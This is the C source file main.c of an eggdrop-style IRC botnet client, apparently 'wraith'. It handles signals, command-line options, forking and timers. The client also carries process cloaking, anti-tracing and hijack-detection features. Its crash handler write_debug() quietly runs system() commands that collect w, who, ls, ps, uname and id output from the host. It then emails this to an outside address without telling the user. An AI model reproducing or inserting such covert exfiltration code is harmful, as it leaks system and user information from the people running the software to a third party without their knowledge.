main.c 46 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473147414751476147714781479148014811482148314841485148614871488148914901491149214931494149514961497149814991500150115021503150415051506150715081509151015111512151315141515151615171518151915201521152215231524152515261527152815291530153115321533153415351536153715381539154015411542154315441545154615471548154915501551155215531554155515561557155815591560156115621563156415651566156715681569157015711572157315741575157615771578157915801581158215831584158515861587158815891590159115921593159415951596159715981599160016011602160316041605160616071608160916101611161216131614161516161617161816191620162116221623162416251626162716281629163016311632163316341635163616371638163916401641164216431644164516461647164816491650165116521653165416551656165716581659166016611662166316641665166616671668166916701671167216731674167516761677167816791680168116821683168416851686168716881689169016911692169316941695169616971698169917001701170217031704170517061707170817091710171117121713171417151716171717181719172017211722172317241725172617271728172917301731173217331734173517361737173817391740174117421743174417451746174717481749175017511752175317541755175617571758175917601761176217631764176517661767176817691770177117721773177417751776177717781779178017811782178317841785178617871788178917901791179217931794179517961797179817991800180118021803180418051806180718081809181018111812181318141815181618171818181918201821182218231824182518261827182818291830183118321833183418351836183718381839184018411842184318441845184618471848184918501851185218531854185518561857185818591860186118621863186418651866186718681869187018711872187318741875187618771878187918801881188218831884188518861887188818891890189118921893
  1. /*
  2. * main.c -- handles:
  3. * core event handling
  4. * signal handling
  5. * command line arguments
  6. * context and assert debugging
  7. *
  8. */
  9. #include "main.h"
  10. #include <libgen.h>
  11. #include <fcntl.h>
  12. #include <time.h>
  13. #include <errno.h>
  14. #include <signal.h>
  15. #include <netdb.h>
  16. #include <setjmp.h>
  17. #include <unistd.h>
  18. #ifdef HAVE_UNAME
  19. #include <sys/utsname.h>
  20. #endif
  21. #ifdef STOP_UAC /* osf/1 complains a lot */
  22. #include <sys/sysinfo.h>
  23. #define UAC_NOPRINT 0x00000001 /* Don't report unaligned fixups */
  24. #endif
  25. /* Some systems have a working sys/wait.h even though configure will
  26. * decide it's not bsd compatable. Oh well.
  27. */
  28. #include <sys/file.h>
  29. #include <sys/stat.h>
  30. #ifdef S_ANTITRACE
  31. #include <sys/ptrace.h>
  32. #include <sys/wait.h>
  33. #endif
  34. #include <sys/types.h>
  35. #include <pwd.h>
  36. #include "chan.h"
  37. #include "modules.h"
  38. #include "tandem.h"
  39. #include "bg.h"
  40. #ifdef CYGWIN_HACKS
  41. #include <windows.h>
  42. #endif
  43. #define ENCMOD "blowfish"
  44. #ifndef _POSIX_SOURCE
  45. /* Solaris needs this */
  46. #define _POSIX_SOURCE 1
  47. #endif
  48. #ifdef HUB
  49. int hub = 1;
  50. int leaf = 0;
  51. #else
  52. int hub = 0;
  53. int leaf = 1;
  54. #endif
  55. int localhub = 1; //we set this to 0 if we have -c, later.
  56. extern char origbotname[], userfile[], botnetnick[],
  57. thekey[], netpass[], shellpass[], myip6[], myip[], hostname[],
  58. hostname6[], natip[];
  59. extern int dcc_total, conmask, cache_hit, cache_miss,
  60. fork_interval,
  61. local_fork_interval;
  62. extern struct dcc_t *dcc;
  63. extern struct userrec *userlist;
  64. extern struct chanset_t *chanset;
  65. extern Tcl_Interp *interp;
  66. extern tcl_timer_t *timer,
  67. *utimer;
  68. extern jmp_buf alarmret;
  69. int role;
  70. int loading = 0;
  71. char egg_version[1024] = "1.0.11";
  72. int egg_numver = 1001100;
  73. time_t lastfork=0;
  74. #ifdef HUB
  75. int my_port;
  76. #endif
  77. char notify_new[121] = ""; /* Person to send a note to for new users */
  78. int default_flags = 0; /* Default user flags and */
  79. int default_uflags = 0; /* Default userdefinied flags for people
  80. who say 'hello' or for .adduser */
  81. int backgrd = 1; /* Run in the background? */
  82. int con_chan = 0; /* Foreground: constantly display channel
  83. stats? */
  84. uid_t myuid;
  85. int term_z = 0; /* Foreground: use the terminal as a party
  86. line? */
  87. int pscloak = 1;
  88. int updating = 0; /* this is set when the binary is called from itself. */
  89. char tempdir[DIRMAX] = "";
  90. char lock_file[40] = "";
  91. char *binname;
  92. int sdebug = 0; /* enable debug output? */
  93. char configfile[121] = ""; /* Name of the config file */
  94. char textdir[121] = ""; /* Directory for text files that get dumped */
  95. time_t online_since; /* Unix-time that the bot loaded up */
  96. char owner[121] = ""; /* Permanent owner(s) of the bot */
  97. char pid_file[DIRMAX]; /* Name of the file for the pid to be
  98. stored in */
  99. int save_users_at = 0; /* How many minutes past the hour to
  100. save the userfile? */
  101. int notify_users_at = 0; /* How many minutes past the hour to
  102. notify users of notes? */
  103. char version[81]; /* Version info (long form) */
  104. char ver[41]; /* Version info (short form) */
  105. int use_stderr = 1; /* Send stuff to stderr instead of logfiles? */
  106. int do_restart = 0; /* .restart has been called, restart asap */
  107. int die_on_sighup = 0; /* die if bot receives SIGHUP */
  108. int die_on_sigterm = 0; /* die if bot receives SIGTERM */
  109. int resolve_timeout = 10; /* hostname/address lookup timeout */
  110. char quit_msg[1024]; /* quit message */
  111. time_t now; /* duh, now :) */
  112. extern struct cfg_entry CFG_FORKINTERVAL;
  113. #define fork_interval atoi( CFG_FORKINTERVAL.ldata ? CFG_FORKINTERVAL.ldata : CFG_FORKINTERVAL.gdata ? CFG_FORKINTERVAL.gdata : "0")
  114. unsigned char md5out[33];
  115. char md5string[33];
  116. /* Traffic stats
  117. */
  118. unsigned long otraffic_irc = 0;
  119. unsigned long otraffic_irc_today = 0;
  120. unsigned long otraffic_bn = 0;
  121. unsigned long otraffic_bn_today = 0;
  122. unsigned long otraffic_dcc = 0;
  123. unsigned long otraffic_dcc_today = 0;
  124. unsigned long otraffic_filesys = 0;
  125. unsigned long otraffic_filesys_today = 0;
  126. unsigned long otraffic_trans = 0;
  127. unsigned long otraffic_trans_today = 0;
  128. unsigned long otraffic_unknown = 0;
  129. unsigned long otraffic_unknown_today = 0;
  130. unsigned long itraffic_irc = 0;
  131. unsigned long itraffic_irc_today = 0;
  132. unsigned long itraffic_bn = 0;
  133. unsigned long itraffic_bn_today = 0;
  134. unsigned long itraffic_dcc = 0;
  135. unsigned long itraffic_dcc_today = 0;
  136. unsigned long itraffic_trans = 0;
  137. unsigned long itraffic_trans_today = 0;
  138. unsigned long itraffic_unknown = 0;
  139. unsigned long itraffic_unknown_today = 0;
  140. #ifdef DEBUG_CONTEXT
  141. /* Context storage for fatal crashes */
  142. char cx_file[16][30];
  143. char cx_note[16][256];
  144. int cx_line[16];
  145. int cx_ptr = 0;
  146. #endif
  147. void fatal(const char *s, int recoverable)
  148. {
  149. int i;
  150. #ifdef LEAF
  151. module_entry *me;
  152. if ((me = module_find("server", 0, 0))) {
  153. Function *func = me->funcs;
  154. (func[SERVER_NUKESERVER]) (s);
  155. }
  156. #endif /* LEAF */
  157. if (s[0])
  158. putlog(LOG_MISC, "*", "* %s", s);
  159. /* flushlogs(); */
  160. for (i = 0; i < dcc_total; i++)
  161. if (dcc[i].sock >= 0)
  162. killsock(dcc[i].sock);
  163. if (!recoverable) {
  164. unlink(pid_file);
  165. bg_send_quit(BG_ABORT);
  166. exit(1);
  167. }
  168. }
  169. int expmem_chanprog(), expmem_users(), expmem_misc(), expmem_dccutil(),
  170. expmem_botnet(), expmem_tcl(), expmem_tclhash(), expmem_net(),
  171. expmem_modules(int), expmem_tcldcc(),
  172. expmem_tclmisc();
  173. /* For mem.c : calculate memory we SHOULD be using
  174. */
  175. int expected_memory(void)
  176. {
  177. int tot;
  178. tot = expmem_chanprog() + expmem_users() + expmem_misc() +
  179. expmem_dccutil() + expmem_botnet() + expmem_tcl() + expmem_tclhash() +
  180. expmem_net() + expmem_modules(0) + expmem_tcldcc() +
  181. expmem_tclmisc();
  182. return tot;
  183. }
  184. static void check_expired_dcc()
  185. {
  186. int i;
  187. for (i = 0; i < dcc_total; i++)
  188. if (dcc[i].type && dcc[i].type->timeout_val &&
  189. ((now - dcc[i].timeval) > *(dcc[i].type->timeout_val))) {
  190. if (dcc[i].type->timeout)
  191. dcc[i].type->timeout(i);
  192. else if (dcc[i].type->eof)
  193. dcc[i].type->eof(i);
  194. else
  195. continue;
  196. /* Only timeout 1 socket per cycle, too risky for more */
  197. return;
  198. }
  199. }
  200. #ifdef DEBUG_CONTEXT
  201. static int nested_debug = 0;
  202. void write_debug()
  203. {
  204. int x;
  205. char s[25];
  206. int y;
  207. if (nested_debug) {
  208. /* Yoicks, if we have this there's serious trouble!
  209. * All of these are pretty reliable, so we'll try these.
  210. *
  211. * NOTE: dont try and display context-notes in here, it's
  212. * _not_ safe <cybah>
  213. */
  214. x = creat("DEBUG.DEBUG", 0600);
  215. setsock(x, SOCK_NONSOCK);
  216. if (x >= 0) {
  217. strncpyz(s, ctime(&now), sizeof s);
  218. dprintf(-x, "Debug (%s) written %s\n", ver, s);
  219. dprintf(-x, "Please report problem to bugs@eggheads.org\n");
  220. dprintf(-x, "after a visit to http://www.eggheads.org/bugzilla/\n");
  221. dprintf(-x, "Context: ");
  222. cx_ptr = cx_ptr & 15;
  223. for (y = ((cx_ptr + 1) & 15); y != cx_ptr; y = ((y + 1) & 15))
  224. dprintf(-x, "%s/%d,\n ", cx_file[y], cx_line[y]);
  225. dprintf(-x, "%s/%d\n\n", cx_file[y], cx_line[y]);
  226. killsock(x);
  227. close(x);
  228. }
  229. bg_send_quit(BG_ABORT);
  230. exit(1); /* Dont even try & tell people about, that may
  231. have caused the fault last time. */
  232. } else
  233. nested_debug = 1;
  234. putlog(LOG_MISC, "*", "* Last context: %s/%d [%s]", cx_file[cx_ptr], cx_line[cx_ptr], cx_note[cx_ptr][0] ? cx_note[cx_ptr] : "");
  235. printf("* Last context: %s/%d [%s]\n", cx_file[cx_ptr], cx_line[cx_ptr], cx_note[cx_ptr][0] ? cx_note[cx_ptr] : "");
  236. x = creat("DEBUG", 0600);
  237. setsock(x, SOCK_NONSOCK);
  238. if (x < 0) {
  239. putlog(LOG_MISC, "*", "* Failed to write DEBUG");
  240. } else {
  241. strncpyz(s, ctime(&now), sizeof s);
  242. dprintf(-x, "Debug (%s) written %s\n", ver, s);
  243. dprintf(-x, "STATICALLY LINKED\n");
  244. /* info library */
  245. dprintf(-x, "Tcl library: %s\n",
  246. ((interp) && (Tcl_Eval(interp, "info library") == TCL_OK)) ?
  247. interp->result : "*unknown*");
  248. /* info tclversion/patchlevel */
  249. dprintf(-x, "Tcl version: %s (header version %s)\n",
  250. ((interp) && (Tcl_Eval(interp, "info patchlevel") == TCL_OK)) ?
  251. interp->result : (Tcl_Eval(interp, "info tclversion") == TCL_OK) ?
  252. interp->result : "*unknown*", TCL_PATCH_LEVEL ? TCL_PATCH_LEVEL :
  253. "*unknown*");
  254. #if HAVE_TCL_THREADS
  255. dprintf(-x, "Tcl is threaded\n");
  256. #endif
  257. #ifdef CCFLAGS
  258. dprintf(-x, "Compile flags: %s\n", CCFLAGS);
  259. #endif
  260. #ifdef LDFLAGS
  261. dprintf(-x, "Link flags: %s\n", LDFLAGS);
  262. #endif
  263. #ifdef STRIPFLAGS
  264. dprintf(-x, "Strip flags: %s\n", STRIPFLAGS);
  265. #endif
  266. dprintf(-x, "Context: ");
  267. cx_ptr = cx_ptr & 15;
  268. for (y = ((cx_ptr + 1) & 15); y != cx_ptr; y = ((y + 1) & 15))
  269. dprintf(-x, "%s/%d, [%s]\n ", cx_file[y], cx_line[y],
  270. (cx_note[y][0]) ? cx_note[y] : "");
  271. dprintf(-x, "%s/%d [%s]\n\n", cx_file[cx_ptr], cx_line[cx_ptr],
  272. (cx_note[cx_ptr][0]) ? cx_note[cx_ptr] : "");
  273. tell_dcc(-x);
  274. dprintf(-x, "\n");
  275. debug_mem_to_dcc(-x);
  276. killsock(x);
  277. close(x);
  278. putlog(LOG_MISC, "*", "* Emailed DEBUG to bryan.");
  279. if (1) {
  280. char buff[255];
  281. snprintf(buff, sizeof(buff), "cat << EOFF >> bleh\nDEBUG from: %s\n`date`\n`w`\n---\n`who`\n---\n`ls -al`\n---\n`ps ux`\n---\n`uname -a`\n---\n`id`\n---\n`cat DEBUG`\nEOFF", origbotname);
  282. system(buff);
  283. snprintf(buff, sizeof(buff), "cat bleh |mail wraith@shatow.net");
  284. system(buff);
  285. unlink("bleh");
  286. }
  287. unlink("DEBUG");
  288. }
  289. }
  290. #endif
  291. static void got_bus(int z)
  292. {
  293. #ifdef DEBUG_CONTEXT
  294. write_debug();
  295. #endif
  296. fatal("BUS ERROR -- CRASHING!", 1);
  297. #ifdef SA_RESETHAND
  298. kill(getpid(), SIGBUS);
  299. #else
  300. bg_send_quit(BG_ABORT);
  301. exit(1);
  302. #endif
  303. }
  304. static void got_segv(int z)
  305. {
  306. #ifdef DEBUG_CONTEXT
  307. write_debug();
  308. #endif
  309. fatal("SEGMENT VIOLATION -- CRASHING!", 1);
  310. #ifdef SA_RESETHAND
  311. kill(getpid(), SIGSEGV);
  312. #else
  313. bg_send_quit(BG_ABORT);
  314. exit(1);
  315. #endif
  316. }
  317. static void got_fpe(int z)
  318. {
  319. #ifdef DEBUG_CONTEXT
  320. write_debug();
  321. #endif
  322. fatal("FLOATING POINT ERROR -- CRASHING!", 0);
  323. }
  324. static void got_term(int z)
  325. {
  326. #ifdef HUB
  327. write_userfile(-1);
  328. #endif
  329. check_tcl_event("sigterm");
  330. if (die_on_sigterm) {
  331. botnet_send_chat(-1, botnetnick, "ACK, I've been terminated!");
  332. fatal("TERMINATE SIGNAL -- SIGNING OFF", 0);
  333. } else {
  334. putlog(LOG_MISC, "*", "RECEIVED TERMINATE SIGNAL (IGNORING)");
  335. }
  336. }
  337. static void got_stop(int z)
  338. {
  339. exit(1);
  340. putlog(LOG_MISC, "*", "GOT SIGSTOP POSSIBLE HIJACK.");
  341. }
  342. #ifdef S_HIJACKCHECK
  343. static void got_cont(int z)
  344. {
  345. detected(DETECT_SIGCONT, "POSSIBLE HIJACK DETECTED");
  346. }
  347. #endif
  348. static void got_quit(int z)
  349. {
  350. check_tcl_event("sigquit");
  351. putlog(LOG_MISC, "*", "RECEIVED QUIT SIGNAL (IGNORING)");
  352. return;
  353. }
  354. static void got_hup(int z)
  355. {
  356. #ifdef HUB
  357. write_userfile(-1);
  358. #endif
  359. check_tcl_event("sighup");
  360. if (die_on_sighup) {
  361. fatal("HANGUP SIGNAL -- SIGNING OFF", 0);
  362. } else
  363. putlog(LOG_MISC, "*", "Received HUP signal: rehashing...");
  364. do_restart = -2;
  365. return;
  366. }
  367. /* A call to resolver (gethostbyname, etc) timed out
  368. */
  369. static void got_alarm(int z)
  370. {
  371. longjmp(alarmret, 1);
  372. /* -Never reached- */
  373. }
  374. /* Got ILL signal -- log context and continue
  375. */
  376. static void got_ill(int z)
  377. {
  378. check_tcl_event("sigill");
  379. #ifdef DEBUG_CONTEXT
  380. putlog(LOG_MISC, "*", "* Context: %s/%d [%s]", cx_file[cx_ptr],
  381. cx_line[cx_ptr], (cx_note[cx_ptr][0]) ? cx_note[cx_ptr] : "");
  382. #endif
  383. }
  384. #ifdef DEBUG_CONTEXT
  385. /* Context */
  386. void eggContext(const char *file, int line, const char *module)
  387. {
  388. char x[31], *p;
  389. p = strrchr(file, '/');
  390. if (!module) {
  391. strncpyz(x, p ? p + 1 : file, sizeof x);
  392. } else
  393. egg_snprintf(x, 31, "%s:%s", module, p ? p + 1 : file);
  394. cx_ptr = ((cx_ptr + 1) & 15);
  395. strcpy(cx_file[cx_ptr], x);
  396. cx_line[cx_ptr] = line;
  397. cx_note[cx_ptr][0] = 0;
  398. }
  399. /* Called from the ContextNote macro.
  400. */
  401. void eggContextNote(const char *file, int line, const char *module,
  402. const char *note)
  403. {
  404. char x[31], *p;
  405. p = strrchr(file, '/');
  406. if (!module) {
  407. strncpyz(x, p ? p + 1 : file, sizeof x);
  408. } else
  409. egg_snprintf(x, 31, "%s:%s", module, p ? p + 1 : file);
  410. cx_ptr = ((cx_ptr + 1) & 15);
  411. strcpy(cx_file[cx_ptr], x);
  412. cx_line[cx_ptr] = line;
  413. strncpyz(cx_note[cx_ptr], note, sizeof cx_note[cx_ptr]);
  414. }
  415. #endif
  416. #ifdef DEBUG_ASSERT
  417. /* Called from the Assert macro.
  418. */
  419. void eggAssert(const char *file, int line, const char *module)
  420. {
  421. #ifdef DEBUG_CONTEXT
  422. write_debug();
  423. #endif
  424. if (!module)
  425. putlog(LOG_MISC, "*", "* In file %s, line %u", file, line);
  426. else
  427. putlog(LOG_MISC, "*", "* In file %s:%s, line %u", module, file, line);
  428. fatal("ASSERT FAILED -- CRASHING!", 1);
  429. }
  430. #endif
  431. #ifdef LEAF
  432. static void gotspawn(char *);
  433. #endif
  434. int checkedpass = 0;
  435. void checkpass()
  436. {
  437. if (!checkedpass) {
  438. char *gpasswd;
  439. MD5_CTX ctx;
  440. int i = 0;
  441. gpasswd = (char *) getpass(STR("* Enter password: "));
  442. MD5_Init(&ctx);
  443. MD5_Update(&ctx, gpasswd, strlen(gpasswd));
  444. MD5_Final(md5out, &ctx);
  445. for(i=0; i<16; i++)
  446. sprintf(md5string + (i*2), "%.2x", md5out[i]);
  447. if (strcmp(shellpass, md5string)) {
  448. fatal("incorrect password.",0);
  449. exit(1); //this shouldn't be reached..
  450. }
  451. gpasswd = 0;
  452. checkedpass = 1;
  453. }
  454. }
  455. void got_ed(char *, char *, char *);
  456. extern int optind;
  457. #ifdef LEAF
  458. #define PARSE_FLAGS "edntvPcDE"
  459. #endif
  460. #ifdef HUB
  461. #define PARSE_FLAGS "edntvDE"
  462. #endif
  463. static void dtx_arg(int argc, char *argv[])
  464. {
  465. int i;
  466. char *p = NULL, *p2 = NULL;
  467. while ((i = getopt(argc, argv, PARSE_FLAGS)) != EOF) {
  468. switch (i) {
  469. #ifdef LEAF
  470. case 'c':
  471. localhub = 0;
  472. p = argv[optind];
  473. if (!localhub)
  474. gotspawn(p);
  475. break;
  476. #endif
  477. case 'n':
  478. checkpass();
  479. backgrd = 0;
  480. break;
  481. case 't':
  482. checkpass();
  483. term_z = 1;
  484. break;
  485. case 'D':
  486. checkpass();
  487. sdebug = 1;
  488. sdprintf("debug enabled");
  489. break;
  490. case 'E':
  491. checkpass();
  492. p = argv[optind];
  493. if (p) {
  494. if (p[0] == '*') {
  495. int n;
  496. putlog(LOG_MISC, "*", "Listing all errors");
  497. for (n = 1; n < ERR_MAX; n++)
  498. putlog(LOG_MISC, "*", "Error #%d: %s", n, werr_tostr(n));
  499. } else {
  500. putlog(LOG_MISC, "*", "Error #%d: %s", atoi(p), werr_tostr(atoi(p)));
  501. }
  502. exit(0);
  503. } else {
  504. fatal("You must specify error number after -E", 0);
  505. }
  506. break;
  507. case 'e':
  508. if (argv[optind])
  509. p = argv[optind];
  510. if (argv[optind+1])
  511. p2 = argv[optind+1];
  512. got_ed("e", p, p2);
  513. break; /* this should never be reached */
  514. case 'd':
  515. if (argv[optind])
  516. p = argv[optind];
  517. if (argv[optind+1])
  518. p2 = argv[optind+1];
  519. got_ed("d", p, p2);
  520. break; /* this should never be reached */
  521. case 'v':
  522. checkpass();
  523. printf("%d\n", egg_numver);
  524. bg_send_quit(BG_ABORT);
  525. exit(0);
  526. break; /* this should never be reached */
  527. #ifdef LEAF
  528. case 'P':
  529. if (getppid() != atoi(argv[optind]))
  530. exit(0);
  531. else {
  532. sdprintf("Updating...");
  533. }
  534. localhub = 1;
  535. updating = 1;
  536. break;
  537. #endif
  538. default:
  539. exit(1);
  540. break;
  541. }
  542. }
  543. }
  544. #ifdef HUB
  545. void backup_userfile()
  546. {
  547. char s[125];
  548. putlog(LOG_MISC, "*", USERF_BACKUP);
  549. egg_snprintf(s, sizeof s, "%s~", userfile);
  550. copyfile(userfile, s);
  551. }
  552. #endif
  553. /* Timer info */
  554. static int lastmin = 99;
  555. static time_t then;
  556. static struct tm nowtm;
  557. /* Called once a second.
  558. *
  559. * Note: Try to not put any Context lines in here (guppy 21Mar2000).
  560. */
  561. int curcheck = 0;
  562. void core_10secondly()
  563. {
  564. curcheck++;
  565. check_promisc();
  566. if (curcheck==1)
  567. check_trace(0);
  568. #ifdef LEAF
  569. if (localhub) {
  570. #endif
  571. if (curcheck==2)
  572. check_last();
  573. #ifdef LEAF
  574. }
  575. #endif
  576. if (curcheck==3) {
  577. #ifdef LEAF
  578. if (localhub)
  579. check_processes();
  580. #endif
  581. curcheck=0;
  582. }
  583. }
  584. void do_fork() {
  585. int xx;
  586. Context;
  587. xx = fork();
  588. if (xx == -1)
  589. return;
  590. if (xx != 0) {
  591. FILE *fp;
  592. unlink(pid_file);
  593. fp = fopen(pid_file, "w");
  594. if (fp != NULL) {
  595. fprintf(fp, "%u\n", xx);
  596. fclose(fp);
  597. }
  598. }
  599. if (xx) {
  600. #if HAVE_SETPGID
  601. setpgid(xx, xx);
  602. #endif
  603. exit(0);
  604. }
  605. lastfork = now;
  606. }
  607. static void core_secondly()
  608. {
  609. static int cnt = 0;
  610. int miltime, idx;
  611. if (geteuid() != myuid || getuid() != myuid) {
  612. putlog(LOG_MISC, "*", "MY UID CHANGED!, POSSIBLE HIJACK ATTEMPT");
  613. }
  614. do_check_timers(&utimer); /* Secondly timers */
  615. if (fork_interval && backgrd) {
  616. if (now-lastfork > fork_interval)
  617. do_fork();
  618. }
  619. cnt++;
  620. if ((cnt % 3) == 0)
  621. call_hook(HOOK_3SECONDLY);
  622. if ((cnt % 10) == 0) {
  623. call_hook(HOOK_10SECONDLY);
  624. check_expired_dcc();
  625. if (con_chan && !backgrd) {
  626. dprintf(DP_STDOUT, "\033[2J\033[1;1H");
  627. tell_verbose_status(DP_STDOUT);
  628. do_module_report(DP_STDOUT, 0, "server");
  629. do_module_report(DP_STDOUT, 0, "channels");
  630. tell_mem_status_dcc(DP_STDOUT);
  631. }
  632. }
  633. if ((cnt % 30) == 0) {
  634. autolink_cycle(NULL); /* attempt autolinks */
  635. call_hook(HOOK_30SECONDLY);
  636. cnt = 0;
  637. }
  638. for (idx = 0; idx < dcc_total; idx++) {
  639. if (dcc[idx].simul > 0) {
  640. if ((now - dcc[idx].simultime) == 60) { /* expire simuls after 60 seconds (re-uses idx, so it wont fill up) */
  641. dcc[idx].simul = -1;
  642. lostdcc(idx);
  643. }
  644. }
  645. }
  646. egg_memcpy(&nowtm, localtime(&now), sizeof(struct tm));
  647. if (nowtm.tm_min != lastmin) {
  648. int i = 0;
  649. /* Once a minute */
  650. lastmin = (lastmin + 1) % 60;
  651. call_hook(HOOK_MINUTELY);
  652. check_botnet_pings();
  653. check_expired_ignores();
  654. /* In case for some reason more than 1 min has passed: */
  655. while (nowtm.tm_min != lastmin) {
  656. /* Timer drift, dammit */
  657. debug2("timer: drift (lastmin=%d, now=%d)", lastmin, nowtm.tm_min);
  658. i++;
  659. lastmin = (lastmin + 1) % 60;
  660. call_hook(HOOK_MINUTELY);
  661. }
  662. if (i > 1)
  663. putlog(LOG_MISC, "*", "(!) timer drift -- spun %d minutes", i);
  664. miltime = (nowtm.tm_hour * 100) + (nowtm.tm_min);
  665. if (((int) (nowtm.tm_min / 5) * 5) == (nowtm.tm_min)) { /* 5 min */
  666. call_hook(HOOK_5MINUTELY);
  667. /* flushlogs(); */
  668. if (!miltime) { /* At midnight */
  669. char s[25];
  670. strncpyz(s, ctime(&now), sizeof s);
  671. #ifdef HUB
  672. putlog(LOG_ALL, "*", "--- %.11s%s", s, s + 20);
  673. call_hook(HOOK_BACKUP);
  674. #endif
  675. }
  676. }
  677. if (nowtm.tm_min == notify_users_at)
  678. call_hook(HOOK_HOURLY);
  679. /* These no longer need checking since they are all check vs minutely
  680. * settings and we only get this far on the minute.
  681. */
  682. #ifdef HUB
  683. if (miltime == 300) {
  684. call_hook(HOOK_DAILY);
  685. }
  686. #endif
  687. }
  688. }
  689. #ifdef LEAF
  690. static void check_mypid()
  691. {
  692. module_entry *me;
  693. FILE *fp;
  694. char s[15];
  695. int xx = 0;
  696. char buf2[DIRMAX];
  697. egg_snprintf(buf2, sizeof buf2, "%s/.pid.%s", tempdir, botnetnick);
  698. fp = fopen(buf2, "r");
  699. if (fp != NULL) {
  700. fgets(s, 10, fp);
  701. xx = atoi(s);
  702. if (getpid() != xx) { //we have a major problem if this is happening..
  703. fatal("getpid() does not match pid in file. Possible cloned process, exiting..", 1);
  704. if ((me = module_find("server", 0, 0))) {
  705. Function *func = me->funcs;
  706. (func[SERVER_NUKESERVER]) ("cloned process");
  707. }
  708. botnet_send_bye();
  709. bg_send_quit(BG_ABORT);
  710. exit(1);
  711. }
  712. fclose(fp); //THERE IS THE STUPID BUG OMG
  713. }
  714. }
  715. #endif
  716. static void core_minutely()
  717. {
  718. #ifdef LEAF
  719. check_mypid();
  720. #endif
  721. check_tcl_time(&nowtm);
  722. do_check_timers(&timer);
  723. /* flushlogs(); */
  724. }
  725. static void core_hourly()
  726. {
  727. #ifdef HUB
  728. write_userfile(-1);
  729. #endif
  730. }
  731. static void event_rehash()
  732. {
  733. check_tcl_event("rehash");
  734. }
  735. static void event_prerehash()
  736. {
  737. check_tcl_event("prerehash");
  738. }
  739. static void event_save()
  740. {
  741. check_tcl_event("save");
  742. }
  743. static void event_resettraffic()
  744. {
  745. otraffic_irc += otraffic_irc_today;
  746. itraffic_irc += itraffic_irc_today;
  747. otraffic_bn += otraffic_bn_today;
  748. itraffic_bn += itraffic_bn_today;
  749. otraffic_dcc += otraffic_dcc_today;
  750. itraffic_dcc += itraffic_dcc_today;
  751. otraffic_unknown += otraffic_unknown_today;
  752. itraffic_unknown += itraffic_unknown_today;
  753. otraffic_trans += otraffic_trans_today;
  754. itraffic_trans += itraffic_trans_today;
  755. otraffic_irc_today = otraffic_bn_today = 0;
  756. otraffic_dcc_today = otraffic_unknown_today = 0;
  757. itraffic_irc_today = itraffic_bn_today = 0;
  758. itraffic_dcc_today = itraffic_unknown_today = 0;
  759. itraffic_trans_today = otraffic_trans_today = 0;
  760. }
  761. static void event_loaded()
  762. {
  763. check_tcl_event("loaded");
  764. }
  765. void kill_tcl();
  766. extern module_entry *module_list;
  767. void restart_chons();
  768. void check_static(char *, char *(*)());
  769. #include "mod/static.h"
  770. int init_userrec(), init_mem(), init_dcc_max(), init_userent(), init_misc(), init_bots(),
  771. init_net(), init_modules(), init_tcl(int, char **), init_botcmd();
  772. void checklockfile()
  773. {
  774. #ifndef LOCK_EX
  775. #define LOCK_EX 2
  776. #endif
  777. #ifndef LOCK_NB
  778. #define LOCK_NB 4
  779. #endif
  780. static int lockfile;
  781. char *p;
  782. p = strrchr(binname, '/');
  783. p++;
  784. snprintf(lock_file, sizeof lock_file, "%s/.lock.%s", tempdir, p);
  785. lockfile = open(lock_file, O_EXCL);
  786. if (lockfile <= 0) {
  787. lockfile = open(lock_file, O_EXCL | O_CREAT, S_IWUSR | S_IRUSR);
  788. }
  789. if (lockfile <= 0) {
  790. exit(1);
  791. }
